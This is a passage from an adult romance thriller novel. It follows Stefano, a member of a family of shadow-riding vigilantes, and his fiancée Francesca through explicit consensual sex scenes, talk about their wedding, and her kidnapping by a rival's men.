He captured her hands and brought her fingertips to his mouth, his teeth scraping seductively along the pads. "They spent years building an empire. Branches of riders were established in major cities throughout the world. Every rider had to be familiar with languages and geography so they're sent to each city to train while teens. The other family members began legitimate businesses. Solid ones that would bring prosperity to the family. Banks, hotels, casinos, nightclubs. Each business was carefully built up before another was added."
"All of them are capable of handling any money a shadow rider would get for his services that aren't so legit," she murmured. "Like the rescue of a seventeen-year-old girl."
"No money for that job. Some jobs are bartered for favors. Others small things. Taking on work that involves executing someone"—he deliberately used the expression to see her reaction—"requires a great deal of money unless, as in the case of a brutalized child, the petitioner can't afford it, isn't a criminal and the need is justified."
"That's why you have such a process. The greeters, and then the investigators."
"Yes." He bit down again on her finger, wanting to kiss her, warmth spreading through him because she didn't even flinch when he used the word _executing_. "We have to be certain before we take a job. There can be no mistakes. Both sides are investigated, the petitioner as well as the target and the incident itself. We protect the family at all costs. We make certain our own riders don't take down anyone who can draw attention to us in our own city. We don't do our own personal work. Nothing close to us. We use the paparazzi for alibis. Because we play so publicly, few people ever consider that we would do anything that they can't see."
"And you're careful." She made it a statement.
"And we're careful," he confirmed. He was silent a moment before continuing, his fingers delving into the silk of her hair. "It's difficult to find others outside the family with the ability to ride the shadows. There just aren't that many. Men have a little longer to find someone they truly want than a woman, because in the end, we serve the family and that means producing riders. Riders keep us safe. If the Saldis or anyone else ever try to wipe us out again, retaliation would be swift and brutal. They know that. They don't know how we do it, but they know we can get to them."
He had to make her understand. "The riders are important to the family, Francesca. Our training, training the children, it is necessary for us to continue. It's difficult but very rewarding. But . . ." He trailed off.
"Tell me."
He could because it was Francesca. His woman. She seemed to understand everything he needed or wanted. "I will train our children and they'll go to other trusted trainers, but Francesca, if this life isn't for them, I don't want them not to have a choice. I don't want arranged, loveless marriages for them. I'll teach you to shadow ride because I want you safe, but I never want you to do the work or see the violence. I don't want it touching you. I need you to understand that. It isn't because I don't want to share power with you. It's because . . ."
She rolled over, sprawling over his body, her hands framing his face. "You don't have to explain. I know you want me home, to balance out the training. There's nothing wrong with that."
"I want to come home to clean. To something wonderful and warm. To love. I want that for my children. I need that."
"I know you do," she murmured, and pressed a kiss into his throat.
"You have to know there are consequences to being with me, Francesca. I wasn't exaggerating when I warned you what kind of man I am. I expect to lead. I expect you to follow. I'll give you everything I can. I want you happy. But I need you safe. That's something in me I can't change. There will be a lot of demands. That you let me know where you are every minute. That has nothing to do with trust, and everything to do with my issue to know you're safe."
"I know that about you, Stefano."
He took a breath. He had to let her know everything. He had to know if she could live with the real consequences of being married to a shadow rider. "That's nowhere near the worst." He took a breath. Framed her face to look into her eyes. "The truth is, Francesca, once we're married and our shadows are completely merged, if things didn't work out and we divorced, the shadows would tear apart and there isn't any repairing them. I would lose my ability to ride the shadows. That's what my mother was talking about tonight. You would lose all memory of me, our life and even our children together. You wouldn't remember anything to do with shadow riding. You wouldn't suffer, because you'd have no memory of it, but you would lose your children. That's why it's important to know for certain before we're married, that this life is for you."
He felt her sudden stillness. The swift inhale. She started to roll off of him, her first retreat. He didn't allow it, his arms locking her to him. "Don't, _bambina_ , don't leave me. Just listen. Hear the truth in my voice. I love you with everything in me. There will never be a time that I won't. I'm incapable of cheating on you. I'm too loyal, and I know you have that in you as well. We'll work things out. I know I'm difficult, but I swear, with every breath in my body, Francesca, I'll work at our marriage."
"It's a huge price, Stefano, if something goes wrong."
"I know that. I know what you're risking. It seems I have less to lose, but it isn't so. I would be half a man without you, and I wouldn't know who I was without the ability to ride. Marry me, be my wife. Be my partner. Take the risk with me. I need you in a way I've never needed anything or anyone." He was giving himself up to her. He'd never felt more vulnerable. Never felt more terrified. "Every fucking word I said to you is the truth."
She brushed her mouth across his. Looked into his eyes, searching for something. She must have found it because she nodded. It was slow in coming, but in the end, she did nod her acceptance. "Yes. The answer is still yes."
* * *
Stefano woke Francesca three hours after he fell asleep and he made love to her. Gently. As gently as possible for him. He made certain she was gasping and ready before he took her, driving her up again and again, giving her three orgasms before he emptied himself in her. He fell back asleep to the sound of her taking a bath. The woman loved the fucking bathtub.
# CHAPTER TWENTY-THREE
Stefano woke with the dawn creeping into the bedroom and urgent need clawing at his belly. His cock was hard and thick, desperate to be inside Francesca's warm, wet channel. Francesca's long hair moved in a sensual slide over his thighs and belly, so much silk, building a wild urgency as her mouth moved between his legs. Up his thighs, spreading kisses and little bites right up to his aching balls. She licked his sac and his cock jerked hard. Her fingers found him, rolling and caressing his tight balls even as her tongue slowly bathed them in warmth. She made little moaning sounds that added to the dark fantasy.
_"Dolce cuore."_ It was all he could manage when she licked up his shaft. Greedy. Hungry. He reached down to bunch silk into his fist. Her mouth slid over the wide, flared head of his cock and she engulfed him. Completely. Taking him deep. Unexpectedly. The inside of her mouth was wet and slick, hotter than hell. "Fucking paradise." He groaned. Tugged at her hair to raise her head. He wanted to see her eyes. He loved holding her gaze while she went down on him.
"Gotta look at me, _bambina_. I have to see your eyes." He loved how she was ravenous for him in the same way he always felt insatiable for her. How her eyes conveyed her excitement and her love of what she was doing. He needed that almost as much as he needed her mouth on him. Her hair, moving over his thighs and belly, made him ultrasensitive so that every nerve ending in his body leapt to life. Fire danced over his skin, adding to the sensations her mouth and hands created.
He waited for the impact, holding his breath. When it came, when she lifted her lashes and her eyes met his, his heart contracted in his chest and deep inside, where no one could see, she shattered him. That look. So full of love. So full of lust. For him. The man. Not the name. Not the money. Not for any other reason. Just for him. His fists tightened in her hair. He wanted to jerk her up to him, but she chose that moment to take him in her mouth.
Watching him watch her, she parted her lips and slowly, inch by inch, took him deep. It was the hottest thing he'd ever seen. She kept her gaze on his, letting the hunger burn in her eyes as she hollowed her cheeks and sucked hard, her tongue lashing him with strokes that felt like white lightning.
Her mouth felt like a fist of scorching velvet wrapped around his cock. Hot. Tight. Wet. Perfect. He knew what paradise was, right there in his woman's mouth. She slid her mouth up his shaft and then engulfed him again in a tight, wet hold that rocked him.
_"Fuck."_ It burst out of him. Crude. But still. He couldn't think with his blood thundering in his ears and roaring through his shaft. Her hands were doing wicked, sinful things to his balls while her mouth did them to his cock. He gripped her hair harder and began to tug. "You gotta stop, _bella_. Right. The fuck. Now." Because if she didn't, he was going to pour everything he had in him right down her throat, and he didn't want this to end.
Francesca showed no signs of stopping. Her mouth tightened even more, the suction stronger than ever, sending heat waves storming through him. Desire tightened his thigh muscles, drew up his balls and danced in his belly. He held her head in place with her hair, his fists on either side of her head, guiding her now, his hips thrusting into that hot, wet tunnel.
Stefano stared down into her eyes, sinking there, letting her take him, the fire consuming him. He thrust deep and held himself there, locked in that paradise, her mouth closing around him like a vise. He didn't pull back until he saw the first hint of panic in her eyes. He let her take a breath and he thrust again and couldn't believe when her tongue lashed him with the lightning streaks, she suckled hard and once again took him deep, all the while her gaze clinging to his.
His breath caught in his throat. Not only was she giving him fucking paradise, but she looked at him with adoration, as if he was the only man in her world. He held himself there a beat or two longer, watching her take it, seeing the trust in her eyes. With a crude oath, he withdrew, transferred his hold to under her arms and yanked her up.
"Get on your knees—face the headboard," he commanded.
Already he was up on his knees, his cock in his fist, using rough strokes to keep that fire hot and burning. It wasn't that difficult when she rolled onto her belly and crawled up the bed toward the headboard. She looked the epitome of sensuous, her beautiful ass in the air for him, her head bending toward the mattress.
"Reach behind you with your hands."
She did so, turning her head to peek at him through the mass of hair tumbling on the sheets. He caught up his belt and used it to secure her hands behind her back. "I love the way you look right now. That's not too tight?"
"No." Excitement or trepidation made her voice tremble; he wasn't certain which, but she pushed back her hips in invitation.
He waited a few moments, jacking his cock while he watched her in silence, allowing anticipation to build. He loved that his woman gave him this—gave him everything he asked for and more. Her breathing turned ragged and he slid his palm up the inside of her thighs and then opened her wider with his knees. She shivered. He reached between her legs and found her wet and hot. He knew she would be. She'd enjoyed going down on him. Lusted after him.
She gave a low moan when his palm swiped over her slick entrance, but she didn't move. She just waited. Giving herself to him. He slapped her ass hard, a sharp sting and then rubbed the red spot soothingly. He bent and pressed a kiss right in the middle of his palm print. His tongue found her entrance and he licked up, all the way, a long stroke of heat searing her.
Francesca cried out, and he repeated the entire sequence on her left cheek. He spent time there, building the heat in her, using his hands, his tongue, varying the rhythm and strength, making certain to soothe her and keep her honey spilling into his mouth, onto his tongue, down her thighs so he could lick them clean.
She sobbed his name over and over, her breath hitching on every moan or cry he elicited from her. He took his time, enjoying building that heat in her body. His cock pulsed and throbbed with every single smack and caress to her beautiful rounded ass. He couldn't resist taking a bite out of her, his teeth finding the center of his palm print on her right cheek and then stroking over his mark with his tongue.
She exploded, screaming his name, her entire body shuddering. He drove into her, using her hips like handles, dragging her back into him so he could slam deep and hard, feeling the viselike grip of her body as she clamped down on him, stroking and strangling him with her inner muscles as she convulsed around his cock.
He didn't make love to her as he often did. He fucked her. Hard. Deep. Rough. He reached down and caught her hair, dragging her head up and back while he jackhammered into her, pistoning hard. All the while fire streaked through him, raced up his spine and boiled like a fury in his balls. It was exquisite. Fucking perfection. Her body responded to his rough treatment with another strong quake, rippling with shocks, gripping and teasing his cock as he drove into her over and over.
He dragged her up farther, using her hair, so he could see her breasts swaying through each hard jolt of her body. He wished he had two cocks so he could be in her mouth at the same time as he fucked her sweet, scorching hot tunnel. He didn't let up for a minute, a kind of sexual fury riding him hard. He drove into her again and again, nearly lifting her up off her knees with each stroke.
"You want more?"
She nodded.
"Harder? Rougher?"
She nodded again. Cried out when he complied.
"You're going to give it to me again, Francesca." He made it a command. "Come for me right now."
She did the moment he told her to, her body already his, exploding around him, clamping down hard so the friction was nearly unbearable. He rode through it, his teeth clenched, the fire building and building until he thought it was impossible to get any hotter. "Again," he demanded, not stopping. Not letting up. Driving as deep as possible, as fast and hard as possible.
"I can't," she gasped.
"You will." He made it a demand once again, knowing she'd comply. _"Now."_
He felt his balls tighten to the point of pain. The fire rushed down his spine to his hips and buttocks, up his toes and calves, into his thighs. The two fires came together, crowning in his cock as her body suddenly gripped him hard. Her sheath was scorching hot, burning him with a fiery strangling clasp. She screamed as her body milked his, and her orgasm tore through her and his through him in a vicious, brutal climax that rocked both of them. His seed jetted deep, filling her, pouring into her, triggering more aftershocks nearly as brutal as the original orgasm.
He loosened his hold in her hair, locked his arm around her waist and both of them collapsed onto the mattress. He breathed deeply, trying to recover, floating in a kind of bliss, his heart pumping wildly and his cock still jerking deep inside of her. "Give me a minute," he managed to rasp out. "I'll get your hands free."
He couldn't move for the longest time, a fine sheen of sweat covering his body and dampening his hair. He felt great. Better than great. After a few minutes he slipped from her body, the sensation sending another heat wave coursing through his veins.
"You still with me, _bella_?" He pressed a kiss into her back. She hadn't moved, hadn't made a sound, not since that ragged scream that tore through her along with the fury of her orgasm.
She nodded her head, but didn't speak. He gathered her hair and twisted it, getting it off her back so he could sweep his palm down the curve of her spine and over her buttocks. He liked seeing his marks there. He pressed kisses all along her spine, down to the small of her back and then over both cheeks of her bottom. Undoing the belt buckle, he freed her wrists and rubbed at them gently, inspecting them for marks before rolling onto his back, taking her with him.
Francesca lay up against his side, curled into him, one hand on his belly, fingers splayed wide. "I don't think I can move."
"Me either," he admitted.
"I'm glad you're home."
"I noticed. You can wake me up anytime," he added.
"You've really never done the tying the hands with any other woman?"
"Nope. I wouldn't share my fantasies with any woman who wasn't mine. They don't belong to another woman, only you."
She turned even more toward him. Her breast slid along his rib cage, sending a curl of heat spiraling through him. "And if you never found the right woman?"
"Then my fantasies would go to the grave with me."
"I'm glad you found me. I like everything you do to me."
"Tonight," he stated, "I'm going to fuck you with a vibrator while you suck me off. If I don't, I'll be waking up every night with that particular fantasy. I'll use handcuffs this time. Ones that are padded so there are no bruises. When I was fucking you, all I could think about for a few minutes there was how I wished I had two dicks instead of just one."
"I don't think I could handle two. As for your intentions for tonight, I don't have any objections," she said, licking along his rib cage. "Not that I mind you waking up every night with a fantasy. I'm more than happy to oblige you in all things. And I don't mind the handcuffs, but don't think I'm not well aware my ass is bruised, so don't sound so self-righteous."
He laughed and flicked her nipple with his tongue. "I want my mark on you. Not some object's mark." His hand found her bottom and he caressed her with his palm. "Are you sore?"
"A little."
"Good." There was a wealth of satisfaction in his voice he didn't try to hide. "I want you thinking of me every time you sit down today."
"I think you're imprinted so deep inside me, Stefano, I'm going to feel you there for weeks."
He used his arm to sweep her in closer to him so he could lean over her and look into her eyes. "You tell me if I ever get too rough or if our play gets too much for you."
"I will. You weren't too rough. I loved it. My body loved it. Couldn't you tell?"
"That was why I kept going. But you stop me if you don't like anything I'm doing to you."
"I will. I promise." She pressed a kiss to his throat. "I need a shower. So do you. And food. This time, I might even order us up something."
"I'll carry you if you can't walk," he offered.
"We're going to shower together?"
"Yes. I'm a conservationist. Conserving water is high on my priority list."
"I'll just bet it is. If you shower with me, we'll never get to breakfast," she pointed out.
"You will. You started something earlier that I want you to finish."
She laughed, her eyes sparkling. "I'm all for that. Carry me."
He was all for it, too. She took him right back to paradise with the hot water pouring down on him, her eyes clinging to his as he took her mouth. He thought himself well sated after riding her so ferociously, but the moment she began to suckle him, he was lost again. Hard and thick and needy again. This time she finished what she'd started.
* * *
They ordered up breakfast and ate it in the room Stefano liked to call his "sunroom." It was all glass on one side, the sliding doors opening onto a balcony that was wide and long. The walls jutted outward on both sides to help with wind and there was a small table and two comfortable chairs where they took their food and ate. He had sex on the brain, because he'd decided he'd have her out on the balcony and inside the sunroom, pressed up against the glass.
She sipped at her coffee and teased him about being an exhibitionist. He just sent her a grin and began to run through his morning reports while she opened the tablet he'd bought for her and read the local news. He liked sitting beside her, reading together, sipping coffee and being locked away from the rest of the world. He reached out and caught her hand, bringing her knuckles to his mouth.
"I can't wait for our wedding."
His phone chimed before she could respond. He knew by the ringtone that it was Lucia or Amo. He could feel Francesca's eyes on him as he talked on the phone, reassuring Lucia he would come. It was what he did, not what he wanted. When he snapped the phone closed, she let out a little sigh and shook her head.
"I was hoping you could stay home today, Stefano. I feel like we haven't been able to talk or spend time together, and this wedding . . ." She trailed off, and his heart jumped.
"I want to stay home with you, _bambina_ ," Stefano said, "more than anything. I'd like a day for us as well. Just the two of us." He stood up and pulled her to her feet, leaving the dishes for the maids. She would have to get used to that; if he wasn't mistaken, she'd probably gather them up the moment he was gone.
She smiled at him, that smile that always took his breath. The one he'd always wait for. "Me, too. But I can tell from your tone it isn't going to be today."
He shook his head, walking them into the great room. "No. Unfortunately. Lucia called and needs me to get over there. Nicoletta is having a difficult time believing we aren't some human trafficking ring, or worse, that Lucia and Amo are the real thing, wonderful good people, and she's going to get them killed by staying with them."
"Oh no. I know what that feels like. It's the worst feeling ever. Of course you have to go." She licked at her lower lip for a moment and then lifted her chin. "I could go with you. I want to meet her. Don't you think feeling as if she had a friend would help settle her?"
He detested disappointing her. And was she getting cold feet? Was that what this was about? He sank into the wide armchair and beckoned her with his finger. "Come here, _dolce cuore_."
She hesitated, just for a second, but it was there. He was very good at seeing every detail. He'd been trained from the time he was two. All those years of having to describe everything he saw in rooms or outside. All those years of looking at people and having to describe them and every emotion that crossed their face. There was no way he would ever miss hesitation on his woman's part.
He pulled her onto his lap and locked his arms around her. "Relax, Francesca. You're upset about something and you need to tell me."
"I'm not upset. I'm really not."
It was a denial, but her eyes didn't meet his. She did settle into him, relaxing enough that he slid one hand up her back to the nape of her neck. He loved holding her like this. Close. Feeling her body melting into his as if they shared one skin.
"Tell me, Francesca." That was a command, and if she didn't comply, he wasn't going to be responsible for any words slipping out of his mouth she didn't like. He'd been making an effort for her, although, he had to admit, he didn't always succeed.
"I'm just nervous, that's all. We haven't known each other for very long, and this life you lead is very overwhelming."
He sighed. He knew once she thought about it, the idea of living outside the law was going to get to her. "Being a shadow rider is a responsibility I can't . . ." He broke off when she shook her head.
"It's not that, Stefano. It's the money." She made the confession in a little rush. "All that money. Living in a hotel. Having bodyguards. The clothes. I don't know how to act the way you and Emme act. I'm not sophisticated and I can't handle the paparazzi on every street corner waiting to snap pictures of me. It makes me sick to my stomach to think I'm going to embarrass you or your family."
"Fucking Eloisa." He burst out with it, fury moving through him. "You overheard the shit she was throwing at me and it got to you." So much for his resolve to not use foul language, but really, what the fuck? Why the hell would his own mother undermine his woman's confidence? He wanted to strangle Eloisa.
"Stefano. Really."
That was her little prim-and-proper-schoolmarm voice and he fucking loved it. He thought it best to keep that knowledge to himself.
"Not really, _bella_. You know damn well she put that shit in your head. You could never embarrass my family or me. I'm marrying you because for me you're as perfect as a woman could possibly get. I don't give a flying fuck if the rest of the world doesn't see you the way I do. And neither does my family. You don't seem to get this, Francesca, but you're nearly as important to my siblings as you are to me."
She raised her face and pressed it into his throat. "See? Right there is why it's important to spend time with you. You have a way of making me feel beautiful and confident."
"Let me take care of this thing with Nicoletta. I want you to become her friend. Hell, _amore mio_ , you're more her age than mine, but not right now. She's overwhelmed and needs to settle with just Lucia and Amo for now. I've called Taviano—he stayed with her on the jet. I think she's feeling shame for all that happened to her. Apparently Benito Valdez actually raped her on more than one occasion. He was very brutal and he made certain she knew he would have her permanently. His obsession with her was worse than we first thought. She's terrified he'll find her and that Lucia and Amo will be hurt or killed. I've got a counselor and a doctor who will be looking in on her daily."
"That poor girl. Thank God you and Taviano got her out of there."
"You understand why we're limiting the people she's around for now. She's overwhelmed. I promise the next two we'll introduce to her will be you and Emme. Just a few new people at a time."
Francesca sighed, and nodded her agreement. "That makes perfect sense, Stefano. Actually, it's best anyway. I would have been going for the wrong reasons. I do want to meet her and hopefully become friends with her, but I really wanted to go to be with you."
"I'm sorry, Francesca." He was disappointing her and that was the last thing he wanted.
"No, don't be. I'll be staying in today, so come back as soon as you can. Take Emilio and Enzo with you. They've been doing women things for the last few days and they're pouting. I'll be safe here in the penthouse."
He threw back his head and laughed. She could do that so easily, make him smile. Make him laugh. His arms tightened around her and he nuzzled her neck. "The idea of Emilio in a dress shop or shopping for china is hysterical. I should have asked you and Emme to take pictures or a video of his face."
Her laughter joined his. "The expression on his face was priceless. In all honesty, Emme and I worked really hard to come up with a dozen places the boys would have to go with us, just so we could see that look on their faces. Enzo was just as bad, if not worse. They looked like a couple of bulls going to their doom."
"I can imagine the places Emme decided to make them accompany you."
"We hit every single sexy lingerie store close to us. Emilio and Enzo did a lot of groaning. They were quite the hit in a couple of stores. At one of them, two women insisted on coming out of the dressing room in their sexy getups and asking the boys their opinions. I swear we didn't pay them to do that, but Emilio and Enzo think we did."
"Emme probably did behind your back. It's something she would do. She was always getting the two of them. She likes to get back at all of us for being what she calls 'overprotective.'"
Francesca laughed at him, her arms circling his neck. "Stefano, you know full well all of you are overprotective of Emme. You probably made her teenage years a nightmare."
"Ha. She made our lives a nightmare when she was a teen. She's a rider, _bambina_. That means she could get out of her room whenever the mood struck her. On top of that she's a little on the wild side."
Her eyebrow shot up. "Emmanuelle is wild? I don't think so. You don't see her picture splashed in every magazine with two women hanging on her arm. That's Ricco and your brothers."
"If she had two men hanging on her arm"—Stefano couldn't keep the menace or the grim out of his voice—"they'd find those same men in the morgue the next day."
"That is _so_ not fair," she declared. "You really are chauvinistic."
"That's right," he said without apology. "Keep that in mind when we have a daughter. You might want to warn her."
She rolled her eyes at him. "I'm sure she'll figure it out very quickly. With you for a father and her four uncles as well as cousins everywhere, she'll most likely know it by the time she's three."
"You certain you aren't going anywhere today? No fittings for your wedding dress? No looking at cakes or flowers?"
"No."
Francesca was decisive about it, so much so that he had a hard time not laughing. She wasn't thrilled with all that making wedding plans entailed, especially on the scale Eloisa and Emmanuelle were making them. There was no point in fighting his mother and sister for control of the wedding, not even for his woman.
"Emmanuelle said she'd drop by and check on Theresa Vitale today, see if she needs more soup, or anything at all in the way of medicine. I think she's on the mend, but even with her grandson watching over her, we decided not to take chances. With Emme taking care of that, I don't have a thing to do but veg out."
"All right, _dolce cuore_ , I won't be gone too long. I'll take Emilio and Enzo with me and we'll drop by the office to collect everything I need on the way back so I can work from here for a couple of days."
"I'd love that," she agreed instantly.
Stefano changed to his three-piece suit, standard wear when outside his home. It was a drawback at times being a rider and always wearing the suit, as classy as it was. Wearing it meant he could disappear at any time into the shadows, but it also meant he was overdressed on occasion.
"Walk me to the elevator, Francesca."
Francesca reached up to straighten his tie, leaning her body into his. "Don't be long, but make certain Nicoletta feels safe, Stefano. You did that for me—even when I was a little afraid of you, you managed to make me feel safe."
He kissed her thoroughly. "I'm really sorry I have to go," he repeated.
"It's for a good cause." She wrapped her arm around him as they walked together toward the elevator. "Are Emilio and Enzo waiting for you downstairs?"
"Yes, I texted them. I'll be safe. Don't worry."
Francesca took a deep breath and nodded, watching as the elevator doors closed and she was alone again. She really didn't want him to go. She'd felt strange the last couple of days without him. The wedding preparations had become extravagant as far as she was concerned. Neither Eloisa nor Emmanuelle seemed to know how to put the brakes on when it came to the wedding, not even when she objected to things. She had envisioned a very small wedding, with just his family. She didn't have any family of her own, but suddenly there were tons of aunts and uncles who had to be invited as well as cousins. First cousins. Second cousins. And then there were the people in the neighborhood. She had wanted to talk to Stefano about it, but he was so exhausted when he'd first gotten home and then they were all over each other. Now he was gone again.
She sighed again and found her way back to the sunroom to collect the dishes off of the balcony. She liked the penthouse, but living in a hotel wasn't really her idea of a home. She'd seen his "office." It was inside the family home. His family home was extremely intimidating. It was a huge estate, even by Chicago's elite standards. Just the front door was intimidating. It was thick and wide and painted a violent red. It should have been ugly, but instead, it managed to be elegant, just like the Ferraro family.
She stood for a long time staring out over the city. The family as a whole had many respected businesses. Each business was legitimate and made them millions, some more than millions. Still, the one small branch of the family—the shadow riders—wasn't at all legitimate; in fact, their activities would be considered criminal. Within the family they were almost revered. Outside the family many people, just as she had, assumed they were part of a crime family. She was one of them. Or she would be in a couple of short weeks.
Her phone went off, a musical melody that told her Emmanuelle was calling. She sighed, considering not answering. She didn't want one more discussion of flowers or cake. Still, she liked Stefano's sister a lot, and truthfully, it was nice to have someone be excited about the wedding and seeing to all the details.
"Hey, girl, what's up?" she greeted.
"I'm on my way to see Signora Vitale. Then I'm heading to the family home. I've been summoned by Eloisa." Her voice changed from annoyance to speculation. "She sounded . . . upset. She never sounds that way. In any case, I had planned to come to see you today to discuss music, but Stefano called and said you needed the day off."
Francesca realized there was a question in there. "Yes. I'm sorry. I do. I'm just going to rest and read and try not to think too much about everything happening so fast."
"Bridal jitters. They say it happens to everyone." Emmanuelle laughed as she hung up.
Maybe she was right and the restless feeling that just wouldn't leave her alone was just that—cold feet. After all, committing a lifetime to a man like Stefano was a little daunting. She would always have to work to stand up to him. That crazy protective side of him would be difficult. He'd want to build a fortress around her and their children. She was well aware that she would have to temper that quality in him for all their sakes.
Francesca took a deep breath and let it out, sweeping her hair back from her face. She'd dressed in a pair of vintage blue jeans. They were soft and molded to her body nicely, but were very comfortable. They weren't from a thrift store and she didn't want to know what Stefano had paid for them. It seemed like her clothes multiplied on a daily basis. She never saw him put things in her drawers or hang them in her closet, but she was fairly certain Stefano had someone shopping for her.
Still. She ran her hand down her thigh. The jeans were perfect. She wore a T-shirt, equally as soft, that was more fitted than she would have chosen for herself. Her underwear was the best part of the shopaholic who seemed to never quit. The lingerie was absolutely beautiful and she loved the way it made her feel sexy, even in a pair of jeans and a tee.
She made herself a cup of tea, flooded the house with soft music and sank into one of the luxurious, overstuffed chairs to read. She lost herself in a book for a long time, grateful for the chance to just be still. It was the phone that brought her back from the grand adventure she was on along with the characters in the book. This time it was the Vitale home.
Bruno, Theresa's grandson, told her that Emme had just left and Theresa had taken a fall. She was in the bathroom and refusing to come out. He'd heard her fall but she'd locked him out and was asking for Francesca. His grandmother was crying and upset and nothing he said or did would make her budge. Francesca assured him she would come immediately.
Francesca immediately texted Enrica to let her know that she would be needed after all, and to meet her downstairs. Then she called Stefano and told him what had happened. She was very proud of the fact that she remembered already to have her bodyguard in place so her man wouldn't lose his mind. She promised she'd text him the minute she got to the Vitales' and let him know what was going on.
Enrica was waiting at the elevator and escorted her out to the car. "I don't like driving and watching over you. We should have a two-man team on you," she said as she slipped behind the driver's seat.
"I could drive," Francesca offered. She hadn't driven in a very long time and traffic in Chicago was intimidating.
Enrica sent her a look and Francesca grinned at her as her bodyguard started the car. "We could have walked. The house isn't that far."
"There's a big storm coming." Enrica indicated the sky. "It's supposed to be bad. Thunder and lightning. Pouring rain. I don't want to get caught in that, but more, I don't want my cousin to kill me, which he would if I let you walk around with only one bodyguard. Believe me, Francesca, he wouldn't like that."
Francesca rolled her eyes. "He has a serious problem and needs help. I think for his birthday I'm getting him a counselor."
Enrica laughed. "You're good for him. He didn't smile much before he found you. Now he's more relaxed and he laughs a lot. I love that for him. I love that he has you. We're hoping the others will find someone to love them."
Francesca thought it was a very odd way of putting it. "Why do you all guard them so carefully? They're so well trained."
"So are we," Enrica said. "Don't you understand how important they are? Not just to our family, but to the world? Things have changed so much, and the laws allow criminals to slip through the cracks all the time. The gangs keep getting more violent and claiming more territory. The cartels are recruiting our young kids and using them to assassinate anyone in their way. The riders can slip in and out of anywhere without being detected. No one knows how they get in or who they are. They can get to anyone at any time. That's important. It's important to someone whose family has been wiped out by the cartel and just as important to someone like Signora Vitale. We _revere_ the riders."
"Every life is important, Enrica, including yours. I'm uncomfortable with having bodyguards. I'm not a rider, you know, and I never will be."
Enrica pulled the car into the Vitales' driveway. "You're not a rider, but you're going to marry one. You complete his life and can give him children. They sacrifice all choices when they're born. Their lives aren't like ours. I have a choice in what I do. I can marry whomever I please. If they don't find the one they can love, they're forced, through duty, to be with someone they don't. They don't have normal childhoods. Stefano and the others had crap childhoods. So bad. You can't imagine."
She slid out of the car and went around to the passenger door before Francesca could answer. Francesca knew enough to stay in the car until Enrica decided to open the door. She waited, contemplating the idea of having children and making certain their lives were happy and filled with love. She was beginning to realize she had no real knowledge of what Stefano and his siblings had gone through, but she knew Stefano was absolutely determined that his children wouldn't suffer the same fate. She loved him all the more for that and for the fact that he trusted her to make his life and their children's lives wonderful. She knew he was counting on her.
They hurried up to the front door, Enrica one step behind her, her gaze on the rooftops, the garage, the street itself. Francesca couldn't imagine what it would be like to be a bodyguard responsible for the safety of another human being. Bruno opened the door and he looked . . . terrible. He was pale and sweating. There was a bruise by his eye and his lip was swollen and cut. He stepped aside to let them in.
"What happened to you this time, Bruno?" Francesca asked. "Where's Theresa?"
Bruno closed the door and turned to face them. "I'm sorry, Francesca. Really sorry. I tried to refuse and they beat the shit out of me, put a gun to my grandmother's head, and Emmanuelle told me to cooperate with them."
Enrica spun around, her hand going to the gun tucked beneath her shoulder in a holster, but it was too late. A man stepped out of the coat closet behind her and struck her over the head with the butt of his gun. She dropped to the floor like a deadweight. Francesca rushed to her, but the man caught her arm in a tight grip.
"Mr. Anthon requests your presence at a very special event, Francesca," he greeted.
She recognized him immediately and her heart began to pound. She knew she went pale because the blood drained out of her face. "Harold McFarland. It appears Barry can't even come to Chicago without bringing his entire entourage. Where's Theresa?"
"The old lady? Don't worry about her. You should be worried about yourself and your new friends." He spat on the floor. "I'm going to enjoy burning down that bullshit deli you worked in. Your boss seemed to think you're some kind of saint. And the old lady thinks the same. They haven't seen the havoc you create yet." He laughed. "I'm going to enjoy showing them just what you're famous for."
He put a hand to her back and shoved her toward the bedroom. Another man—one she recognized from Barry's crew, Arnold Sumi—thrust Bruno in front of him. As he passed Enrica's crumpled body, he kicked her hard in the ribs.
Harold laughed. "You're such a prick, Arnold. Get Jimmy to tie the bitch up."
Francesca had seen the blood coating Enrica's dark, sleek hair and had been worried they'd hit her too hard and killed her, but they wouldn't tie her up if she was dead.
"There isn't any need to hurt anyone, Harold. I'll go with you."
"Damn right you'll go with me," Harold said. "You don't have any choice, not with a gun to Grandma's head. And then there's your friend. I've had a difficult time keeping the boys off of that one. You don't see bitches like that every day. We're bringing her along. She's going to be the main entertainment for us while you entertain the boss."
Francesca turned her head to see Emmanuelle slumped over in a chair, hands tied behind her back and blood trickling down her face from a laceration on her temple. There was a bruise on the side of her face and her dark gray shirt was torn beneath her pin-striped jacket, revealing the swell of her breasts.
On the floor, groaning, was another of Barry's crew, Marc Jonsen. He had pushed himself up into a sitting position and was holding his face. Blood poured from his nose and both eyes were swollen. Clearly he'd been the one to tear open Emmanuelle's blouse and she'd head-butted him.
"Are you hurt?" Francesca asked Theresa. The elderly woman was crying and clutching rosary beads. The blanket was pulled up nearly to her neck.
She shook her head. "Bruno . . ." She trailed off with a little sob.
Francesca turned to Harold. "What are you going to do with them?"
"Lucky for them the boss wants a message delivered to your boyfriend. You and the other bitch are coming with us."
Francesca glanced at Emmanuelle. Her nod was almost imperceptible, but there was no mistaking the wink she gave Francesca. She appeared nearly out of it to their captors, but clearly she wasn't as bad off as she was making herself out to be and that made some of the knots in Francesca's stomach loosen just a little.
# CHAPTER TWENTY-FOUR
The wind slammed into the cars as they made their way toward the estate Barry Anthon had rented. Emmanuelle was in the car behind Francesca and that made Francesca very uneasy. She knew Stefano's sister could take care of herself far better than she could in the situation, but Barry wouldn't want Francesca killed, not until he had Cella's cell phone safely in his hands. But Emme was vulnerable.
Stefano and his brothers had humiliated Barry in front of Francesca and Emmanuelle. He wasn't a man who would forgive such an insult. He believed himself to be superior to everyone else. He felt entitled to take anything and everything he wanted. Barry would retaliate against the Ferraro family, and what better way than to humiliate Emme? His men were animals. Monsters. They destroyed lives at Barry's whim and enjoyed themselves immensely while doing so. Francesca had no doubt that those men were tormenting Emme in the car, especially Marc. He would want retribution for Emmanuelle defending herself.
As the cars drove through the heavily guarded gates under the archway, Francesca spotted at least ten more guards roaming around the property. Those were the ones she could see. Her heart sank. Four guards at the gate and ten more roaming just the grounds in the front, how many more were there? Even if Stefano brought his brothers with him, the chances of all of them being able to slip through that many guards unscathed seemed nearly impossible.
